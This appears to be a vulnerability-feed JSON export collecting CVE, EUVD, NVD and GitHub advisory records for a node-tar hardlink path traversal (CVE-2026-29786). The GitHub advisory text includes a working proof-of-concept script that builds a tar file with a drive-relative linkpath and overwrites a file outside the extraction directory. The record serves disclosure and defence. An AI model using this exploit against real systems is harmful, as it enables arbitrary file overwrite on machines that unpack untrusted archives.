{"id":"GHSA-qffp-2rhf-9h96","revision":null,"records":[{"revision":"dc7724a2ac664075bfeef8a4dea96f03","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-29786","aliases":[],"title":"node-tar: Hardlink Path Traversal via Drive-Relative Linkpath","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","state":0,"publishedAt":"2026-03-07T15:32:22.748+00:00","modifiedAt":"2026-09-01T12:05:00.341+00:00","affected":[{"ecosystem":"Vendor product","name":"node-tar","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"isaacs\",\n                    \"product\": \"node-tar\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.5.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","score":8.2,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-29786","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-29786","identifiers":["CVE-2026-29786"]},"retained":false,"historicalAffected":[]},{"revision":"24a6b6136202480f87e5ed6a1a7856e5","observedAt":"2026-11-15T09:29:44.108+00:00","statement":{"source":"euvd","id":"EUVD-2026-10164","aliases":["CVE-2026-29786","GHSA-qffp-2rhf-9h96"],"title":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file…","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","score":8.2,"severity":null}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-10164","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 7, 2026, 3:32:22 PM","dateUpdated":"Sep 1, 2026, 12:05:00 PM"},"relatedAdvisories":[{"id":"msrc_CVE-2026-29786","title":"node-tar: Hardlink Path Traversal via Drive-Relative Linkpath","vulnerabilityIds":["CVE-2026-29786"]},{"id":"WID-SEC-W-2026-1220","title":"IBM App Connect Enterprise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-26278","CVE-2026-27601","CVE-2026-27903","CVE-2026-27904","CVE-2026-29786","CVE-2026-30827","CVE-2026-31802","CVE-2026-31988","CVE-2026-32141","CVE-2026-33036","CVE-2026-33228"]},{"id":"WID-SEC-W-2026-2923","title":"Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-13990","CVE-2021-44906","CVE-2022-1471","CVE-2022-23521","CVE-2022-3517","CVE-2022-41903","CVE-2023-22518","CVE-2023-22522","CVE-2023-22523","CVE-2023-22524","CVE-2023-22527","CVE-2023-45133","CVE-2023-46604","CVE-2025-14813","CVE-2026-0603","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-2332","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-3505","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-4800","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-6321","CVE-2026-6322","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"NCSC-2026-0325","title":"Kwetsbaarheden verholpen in Atlassian producten","vulnerabilityIds":["CVE-2021-44906","CVE-2022-3517","CVE-2023-45133","CVE-2025-14813","CVE-2026-0603","CVE-2026-2332","CVE-2026-3505","CVE-2026-4800","CVE-2026-6321","CVE-2026-6322","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"WID-SEC-W-2026-1608","title":"Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye und Jira): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-13990","CVE-2022-1471","CVE-2022-23521","CVE-2022-41903","CVE-2023-22518","CVE-2023-22522","CVE-2023-22523","CVE-2023-22524","CVE-2023-22527","CVE-2023-24998","CVE-2023-46604","CVE-2024-45801","CVE-2025-52999","CVE-2025-67030","CVE-2026-22029","CVE-2026-22732","CVE-2026-24734","CVE-2026-24880","CVE-2026-25639","CVE-2026-26960","CVE-2026-27727","CVE-2026-27830","CVE-2026-29062","CVE-2026-29129","CVE-2026-29145","CVE-2026-29146","CVE-2026-29786","CVE-2026-31802","CVE-2026-33750","CVE-2026-34483","CVE-2026-34487","CVE-2026-39304","CVE-2026-42198","CVE-2026-5598"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-10164","identifiers":["EUVD-2026-10164","CVE-2026-29786","GHSA-qffp-2rhf-9h96"]},"retained":false,"historicalAffected":[]},{"revision":"624b249cb9974c75bc2c83d199a20eda","observedAt":"2026-10-25T07:19:08.798+00:00","statement":{"source":"nvd","id":"CVE-2026-29786","aliases":[],"title":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file…","description":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","state":0,"publishedAt":"2026-03-07T16:15:55.587+00:00","modifiedAt":"2026-09-01T13:18:36.727+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.2,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","score":6.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f","https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","https://access.redhat.com/security/cve/CVE-2026-29786","https://bugzilla.redhat.com/show_bug.cgi?id=2445476","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29786.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-22","CWE-59"],"productCriteria":["cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-07T16:15:55.587","lastModified":"2026-09-01T13:18:36.727"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-29786","identifiers":["CVE-2026-29786"]},"retained":false,"historicalAffected":[]},{"revision":"fae52ac7dd3b4bafa822a4085e5dc5b3","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qffp-2rhf-9h96","aliases":["CVE-2026-29786"],"title":"tar has Hardlink Path Traversal via Drive-Relative Linkpath","description":"### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","state":0,"publishedAt":"2026-03-05T00:52:32+00:00","modifiedAt":"2026-09-10T03:50:40.605623+00:00","affected":[{"ecosystem":"npm","name":"tar","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.5.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","https://nvd.nist.gov/vuln/detail/CVE-2026-29786","https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f","https://github.com/isaacs/node-tar"],"sourceUrl":"https://github.com/advisories/GHSA-qffp-2rhf-9h96","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qffp-2rhf-9h96","identifiers":["GHSA-qffp-2rhf-9h96","CVE-2026-29786"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T09:26:06.7525529+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T09:26:06.7525529+00:00","lastSuccessAt":"2026-11-15T09:26:06.9410933+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.941094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-9e3d838f79cf8ff38c78723122cff976bed4490ddcf297ed0587cd3b1d7c5b04","complete":true,"records":425783,"lastAttemptAt":"2026-11-15T09:26:06.228816+00:00","lastSuccessAt":"2026-11-15T09:26:06.1945365+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.228816+00:00","snapshotPublishedAt":"2026-11-15T08:30:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a011217d66e14b88b5d343dcf9b2cd1e","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T09:37:18.7026726+00:00","lastSuccessAt":"2026-11-15T09:37:19.2448293+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:37:19.2448293+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T09:26:06.7525529+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T09:26:06.7525529+00:00","lastSuccessAt":"2026-11-15T09:26:06.9427316+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.9427319+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-39f2794893ce49af81edbfe444e36bd6","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T09:26:11.2401689+00:00","lastSuccessAt":"2026-11-15T08:26:34.303+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:34.303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T09:26:06.4945342+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.4945342+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T09:26:06.2866573+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.2866573+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T09:26:06.6048599+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.6048599+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-878f718ccd076f540460423958c8e379b139b997b45858275573ecc4d702fe9a","complete":true,"records":232474,"lastAttemptAt":"2026-11-15T09:26:06.3921691+00:00","lastSuccessAt":"2026-11-15T05:33:06.8241102+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.3921691+00:00","snapshotPublishedAt":"2026-11-15T04:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}